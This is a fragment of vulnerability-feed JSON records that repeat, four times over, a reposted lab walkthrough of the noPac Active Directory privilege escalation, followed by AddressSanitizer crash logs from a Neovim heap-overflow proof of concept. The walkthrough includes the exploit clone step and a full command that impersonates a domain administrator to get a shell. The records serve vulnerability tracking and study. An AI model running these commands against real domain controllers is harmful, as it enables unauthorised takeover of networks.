noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos\u2019s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42282", "author": {"login": "automation"}}, {"uuid": "4df14b8c-3dd3-468e-956a-dcfc5054639a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.621464+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38156", "content": "Hacking Articles|Raj Chandel's Blog\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos\u2019s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42278", "author": {"login": "automation"}}, {"uuid": "d9883abf-022c-49e3-ba11-2ea729f1bdd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.562940+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38156", "content": "Hacking Articles|Raj Chandel's Blog\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos\u2019s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42291", "author": {"login": "automation"}}, {"uuid": "56933de6-4eb3-4dbb-8e3a-4b3b8b9582a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.503146+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38156", "content": "Hacking Articles|Raj Chandel's Blog\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos\u2019s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "df58ee8d-a536-4714-a0e8-de195421447a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.429976+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38157", "content": "s-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041References:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42287Author details:Amit Kishor is having 10 plus years of Network Security experience with expertise on multiple Firewall products\u00a0as well as SaaS products. ___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "5f359744-63ad-471d-9559-c3e1c19d98bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:58:15.895359+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c8e5a74cab9d06d11a53ab1823c9ab5", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006012 at pc 0x000000870029 bp 0x7ffcf711dbb0 sp 0x7ffcf711dba8\nREAD of size 1 at 0x602000006012 thread T0\n    #0 0x870028 in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16\n    #1 0x8d9a54 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4451:25\n    #2 0x8f200d in nv_zg_zw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3577:25\n    #3 0x8e7d92 in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3975:9\n    #4 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #5 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #6 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #7 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #8 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #13 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #14 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #18 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #20 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #21 0x7f16a0f0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006012 is located 0 bytes to the right of 2-byte region [0x602000006010,0x602000006012)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x5df777 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:686:16\n    #4 0x5dfc61 in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:622:3\n    #5 0x64fc50 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2176:7\n    #6 0x6558bb in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1975:5\n    #7 0x655174 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1167:7\n    #8 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n    #9 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n    #10 0x64b487 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:331:5\n    #11 0x648d5f in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1263:3\n    #12 0x8ec580 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7061:7\n    #13 0x8e43eb in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5520:7\n    #14 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #15 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #16 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #17 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #18 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #19 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #21 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #22 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #23 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #24 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #29 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8bb0: fa fa 00 01 fa fa fd fd fa fa 00 01 fa fa 00 04\n  0x0c047fff8bc0: fa fa 00 04 fa fa 05 fa fa fa fd fa fa fa 07 fa\n  0x0c047fff8bd0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fa\n  0x0c047fff8be0: fa fa fd fd fa fa 00 00 fa fa fd fa fa fa fd fa\n  0x0c047fff8bf0: fa fa fd fa fa fa 01 fa fa fa 00 fa fa fa 01 fa\n=>0x0c047fff8c00: fa fa[02]fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8c10: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c20: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c30: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff8c40: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa 01 fa\n  0x0c047fff8c50: fa fa 05 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25805==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25864==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003a8d2 at pc 0x000000baa92b bp 0x7fff19e94270 sp 0x7fff19e94268\nREAD of size 1 at 0x60200003a8d2 thread T0\n    #0 0xbaa92a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26\n    #1 0xc64109 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4480:25\n    #2 0xc8a82c in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3968:27\n    #3 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #4 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #5 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #6 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #7 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #11 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #12 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #13 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #14 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #15 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #16 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #17 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #18 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x60200003a8d2 is located 0 bytes to the right of 2-byte region [0x60200003a8d0,0x60200003a8d2)\nallocated by thread T0 here:\n    #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n    #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x6d61ed in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:625:18\n    #4 0x6d683f in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:560:3\n    #5 0x75abb5 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5955:7\n    #6 0x76c384 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5741:5\n    #7 0x76b489 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1373:7\n    #8 0x74279f in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n    #9 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #10 0x746c03 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n    #11 0x74086d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n    #12 0xc903f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n    #13 0xc79dd5 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5619:7\n    #14 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #15 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #16 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #17 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #18 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #22 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #23 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #24 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #27 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #28 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #29 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047ffff4c0: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa 00 04\n  0x0c047ffff4d0: fa fa 00 04 fa fa fd fd fa fa 05 fa fa fa fd fa\n  0x0c047ffff4e0: fa fa 07 fa fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047ffff4f0: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047ffff500: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047ffff510: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047ffff520: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047ffff530: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff540: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff550: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff560: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25864==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: 